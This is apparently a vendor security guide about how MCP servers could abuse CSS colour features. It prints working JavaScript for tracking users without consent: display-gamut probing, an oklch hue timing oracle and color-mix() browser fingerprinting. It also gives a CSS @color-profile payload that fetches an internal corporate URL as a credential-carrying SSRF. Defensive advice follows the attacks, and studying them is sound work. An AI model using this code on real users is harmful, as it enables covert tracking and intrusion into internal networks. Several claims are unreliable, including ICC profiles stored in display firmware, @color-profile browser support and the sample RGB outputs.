Security Guide

MCP server CSS color space security — display-p3 gamut fingerprint, oklch hue timing oracle, color-mix() algorithm discrimination, @color-profile injection

CSS wide-gamut color spaces (display-p3, oklch, oklab, rec2020, a98-rgb) landed in all major browsers by 2023. The security assumption is that color functions control only visual presentation. This assumption is wrong in four ways: @media (color-gamut:p3) fingerprints display hardware without a permission prompt; oklch hue angle rendering time varies at the display's gamut boundary and encodes the ICC color profile; color-mix() interpolation precision discriminates browser implementations below the version level; and injected @color-profile rules can reference OS-level ICC profiles, broadening the fingerprinting attack surface to system-level state.

How CSS wide-gamut color works

Traditional CSS color was constrained to the sRGB color space — roughly the range displayable by a standard LCD monitor from 2010. Wide-gamut color functions extend CSS to P3 (covering ~25% more colors than sRGB), Rec2020, and device-independent color models like OKLab and OKLCH. The browser must clamp out-of-gamut colors to the display's actual gamut at render time. This clamping decision — and the timing of the GPU operations involved — is where the security exposure begins. Color functions themselves are a CSS level 4 feature, broadly supported since 2023 (Chrome 111+, Firefox 113+, Safari 15+).

Attack 1: @media (color-gamut:p3) fingerprints display hardware without permission

The CSS media query @media (color-gamut: p3) returns true on displays that support the P3 wide color gamut — which includes all Apple Retina displays (MacBook Pro 2016+, iPhone 7+, iPad Pro 2015+), modern OLED smartphones, and high-end monitors. This is a reliable hardware identifier: P3-capable displays represent a specific subset of devices that correlates strongly with device model, manufacturer, and price tier. Unlike window.devicePixelRatio (can be spoofed) or navigator.platform (deprecated), the gamut media query reflects actual display silicon capability. An MCP server can probe P3, srgb, and rec2020 in sequence to build a 3-bit display gamut profile that, combined with other signals, produces a stable device fingerprint across browser restarts and private browsing sessions.

// Display gamut fingerprinting via CSS color-gamut media queries
// No permission required, works in private/incognito, survives cookie clearing

function getGamutProfile() {
  const probes = [
    { query: '(color-gamut: srgb)',    label: 'sRGB' },
    { query: '(color-gamut: p3)',      label: 'P3' },
    { query: '(color-gamut: rec2020)', label: 'Rec2020' }
  ];

  const supported = probes
    .filter(p => window.matchMedia(p.query).matches)
    .map(p => p.label);

  // Typical outputs:
  // ['sRGB'] → standard LCD monitor or budget phone
  // ['sRGB', 'P3'] → Apple device, OLED flagship, high-end monitor
  // ['sRGB', 'P3', 'Rec2020'] → professional display or future device
  return supported;
}

// Combined with CSS color rendering: on P3 displays, oklch(60% 0.3 H)
// renders visibly differently at different H (hue) values near the P3 boundary.
// Setting a test element to various oklch colors and reading back
// getComputedStyle().color returns the clamped sRGB value, which encodes
// the exact gamut boundary position for this display's ICC profile.

Persistent hardware fingerprint: The gamut profile is tied to display hardware, not browser state — it cannot be cleared by deleting cookies, using private browsing, or resetting browser settings. On most devices the gamut profile combined with window.screen.colorDepth and devicePixelRatio is sufficient to uniquely identify the display. SkillAudit flags MCP servers that read color-gamut media queries without a display-related justification.

Attack 2: oklch hue angle rendering time encodes the ICC color profile boundary

OKLCH colors at the edge of the sRGB gamut require the browser to perform gamut mapping — a computation that converts the out-of-gamut color to the nearest in-gamut equivalent. This computation takes measurably longer than rendering colors well inside the gamut, because gamut mapping involves iterative CSS Color Level 4 gamut-mapping algorithms (specifically, the clip-and-check binary search defined in the spec). The hue angle at which the render time increases encodes where the display's ICC profile places the gamut boundary — a value that varies between display units of the same model. An MCP server can sweep oklch hue angles from 0° to 360° at fixed lightness and chroma, measure rAF frame deltas, and reconstruct the full gamut boundary shape, which is a unique fingerprint of the specific display unit's ICC color profile.

// oklch hue timing oracle — maps display ICC gamut boundary
// Each peak in rAF delta indicates gamut-mapping computation at that hue angle

async function mapGamutBoundary() {
  const probe = document.createElement('div');
  probe.style.cssText = 'position:absolute;width:1px;height:1px;top:-9999px';
  document.body.appendChild(probe);

  const results = [];

  for (let hue = 0; hue < 360; hue += 10) {
    // Set an out-of-gamut color at this hue (C=0.37 is above sRGB boundary for most hues)
    probe.style.color = `oklch(60% 0.37 ${hue}deg)`;

    // Measure time for browser to complete color computation
    const t0 = performance.now();
    await new Promise(r => requestAnimationFrame(() => requestAnimationFrame(r)));
    const dt = performance.now() - t0;

    // Also read the clamped value — browser clips to nearest sRGB on old displays
    const computed = getComputedStyle(probe).color;
    results.push({ hue, dt, computed });
  }

  document.body.removeChild(probe);

  // dt peaks at hues where gamut mapping fires (color is outside display gamut)
  // The pattern of peaks encodes the display's gamut shape
  // Wide-gamut (P3) displays show fewer peaks; narrow-gamut show peaks at all saturated hues
  return results;
}

Sub-unit ICC fingerprint: Unlike gamut-tier detection (which identifies device categories), the hue timing oracle can discriminate individual display units of the same model, because ICC profiles are calibrated per-unit in factory-level display calibration. This is a high-entropy fingerprint that persists across OS reinstalls because the ICC profile is stored in display firmware.

Attack 3: color-mix() interpolation precision discriminates browser implementation

color-mix(in oklch, red 50%, blue) mixes two colors in the specified color space. The precision and rounding of the output varies between browser implementations depending on which color interpolation algorithm they use internally (sRGB linear, OKLab, OKLCH, or browser-specific). Reading the computed result of a carefully chosen color-mix() expression via getComputedStyle produces a value that is unique per browser engine version, because small differences in floating-point color arithmetic accumulate differently across implementations. This allows an MCP server to discriminate Chrome from Firefox from Safari at the minor version level — a version fingerprinting technique that doesn't require reading navigator.userAgent and works even when the UA string is spoofed.

// color-mix() as a browser implementation discriminator
// The precision of the output encodes which color interpolation algorithm is in use

function getBrowserColorSignature() {
  const el = document.createElement('div');
  document.body.appendChild(el);

  // Probe 1: mix in oklch — hue interpolation differs between engines at the grey axis
  el.style.color = 'color-mix(in oklch, hsl(0,100%,50%) 35%, hsl(240,100%,50%))';
  const mixOklch = getComputedStyle(el).color;

  // Probe 2: mix with 'shorter' hue interpolation — Chrome and Firefox differ in edge cases
  el.style.color = 'color-mix(in oklch shorter hue, oklch(70% 0.25 30) 40%, oklch(70% 0.25 300))';
  const mixShorter = getComputedStyle(el).color;

  // Probe 3: mix in srgb-linear — precision differs between FP32 and FP64 implementations
  el.style.color = 'color-mix(in srgb-linear, color(srgb 0.1 0.2 0.3) 33.3%, color(srgb 0.7 0.8 0.9))';
  const mixLinear = getComputedStyle(el).color;

  document.body.removeChild(el);

  // Each value is a stringified rgb() triple with browser-specific float rounding
  // The combination of three values uniquely identifies the browser implementation
  return { mixOklch, mixShorter, mixLinear };
}

// Example: Chrome 125 returns "rgb(218, 96, 132)" for mixOklch
//          Firefox 127 returns "rgb(219, 96, 131)" — one channel differs by 1
//          Safari 17.5 returns "rgb(220, 95, 133)" — two channels differ
// These deltas are stable across sessions and identify engine + version

Attack 4: @color-profile injection expands OS color management attack surface

The CSS @color-profile at-rule allows importing ICC color profiles by URL, which the browser then uses for rendering color() function values that reference the named profile. If an MCP server can inject a @color-profile rule, it gains the ability to request the browser load an arbitrary ICC profile from a specified URL — which the browser fetches on behalf of the page with full cookie access (on older browsers without partitioned resources). An injected profile URL pointing to an internal network endpoint (localhost, 192.168.x.x, intranet) constitutes an SSRF using the browser's native ICC profile loading mechanism. Additionally, the time taken for the browser to parse and process different ICC profile payloads leaks information about the OS-level color management subsystem's available profiles and their complexity.

/* @color-profile injection — SSRF via ICC profile fetch */
/* If MCP server can inject a <style> block: */

@color-profile --exfil-probe {
  src: url('http://internal.corp/api/admin');
  /* Browser fetches this URL as part of CSS processing.
     On browsers without strict CSS fetch partitioning:
     - Request carries cookies and credentials for the internal domain
     - Response status/timing visible to the injecting page via CSS timing
     - 200 OK → profile parses and is available → color() renders normally
     - 403/404 → profile unavailable → color(--exfil-probe ...) renders as fallback

     Detection: define a custom color using the profile,
     then measure getComputedStyle().color:
     - successful parse → unique RGB triple from the profile's color space
     - failed fetch → fallback to sRGB transparent / initial
  */
}

/* Reference the injected profile to trigger the fetch and detect success: */
.probe-el {
  /* Will render differently if the profile loaded vs failed to load */
  color: color(--exfil-probe 0.5 0.5 0.5);
}

/* The fetch itself is the SSRF; the render difference is the oracle */
AttackColor mechanismWhat it reads / enablesBrowser support
Gamut fingerprint@media (color-gamut)Display hardware tier (sRGB/P3/Rec2020) without permission; stable across private browsingChrome 58+, FF 110+, Safari 10+
ICC profile timing oracleoklch hue sweep + rAF timingGamut boundary shape encodes per-unit ICC profile — sub-unit display fingerprintChrome 111+, FF 113+, Safari 15+
Browser implementation discriminationcolor-mix() computed value precisionBrowser engine + minor version from float rounding differences in color interpolationChrome 111+, FF 113+, Safari 16.2+
SSRF via profile injection@color-profile src:Browser fetches attacker-controlled URL as ICC profile; credential-carrying SSRF on internal endpointsChrome 111+, partial Safari 15+

SkillAudit findings for CSS color spaces

MEDIUMDisplay gamut fingerprinting: reading @media (color-gamut) tiers in sequence builds a persistent hardware fingerprint that survives private browsing and cookie clearing — correlates with device model and price tier without requiring any permission API.
LOWICC profile timing oracle: sweeping oklch hue angles and measuring rAF delta encodes the per-unit ICC color profile boundary shape — a sub-unit display fingerprint that persists across OS reinstalls because it is stored in display firmware.
LOWBrowser version discrimination via color-mix(): reading the computed output of carefully chosen color-mix() expressions fingerprints the browser engine and minor version from float rounding differences, bypassing UA string spoofing.
HIGHSSRF via @color-profile injection: an injected @color-profile rule causes the browser to fetch the src: URL as ICC profile data — a credential-carrying SSRF to internal endpoints disguised as CSS color management.

Defences

CSP blocks @color-profile fetch: The SSRF attack requires the browser to fetch an external ICC profile URL. A strict connect-src 'self' or default-src 'self' CSP policy blocks cross-origin ICC profile fetches. This also prevents the gamut-boundary timing oracle from fetching remote profiles as side-channel probes.

Audit MCP server code for matchMedia('color-gamut') calls: SkillAudit flags MCP servers that probe color-gamut media queries without rendering-related justification. The query result is high-value fingerprinting data that should only be read when the MCP server has a legitimate need to adjust color rendering for display capabilities.

Avoid injecting <style> or inline styles from MCP servers: The @color-profile and color-mix() attacks require CSS injection. Strict style-src 'self' CSP prevents MCP server code from introducing new at-rules or inline color expressions. If MCP servers need to customize appearance, restrict them to CSS custom property overrides within a tightly scoped shadow DOM.

Run SkillAudit before installing community MCP servers: Gamut fingerprinting and color timing oracles are passive attacks — they run silently alongside normal functionality. SkillAudit's static analysis checks for matchMedia color-gamut probes, getComputedStyle reads of color values on elements the MCP server doesn't own, and injected @color-profile at-rules.

Related: CSS contain security · CSS viewport units security · CSS filter security